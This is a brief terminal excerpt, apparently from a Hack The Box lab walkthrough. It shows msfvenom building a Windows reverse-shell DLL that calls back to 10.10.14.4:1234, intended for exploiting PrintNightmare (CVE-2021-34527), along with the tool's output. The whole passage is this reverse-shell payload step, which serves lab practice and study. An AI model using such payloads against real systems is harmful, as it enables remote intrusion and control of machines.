msfvenom


┌──(kali㉿kali)-[~/…/htb/labs/sauna/CVE-2021-34527]
└─$ msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.4 LPORT=1234 -f dll -o printnightmare.dll
[-] no platform was selected, choosing msf::Module::Platform::Windows from the payload
[-] no arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
payload size: 1879 bytes
final size of dll file: 8704 bytes
saved as: printnightmare.dll

msfvenom generated a reverse shell DLL for CVE-2021-34527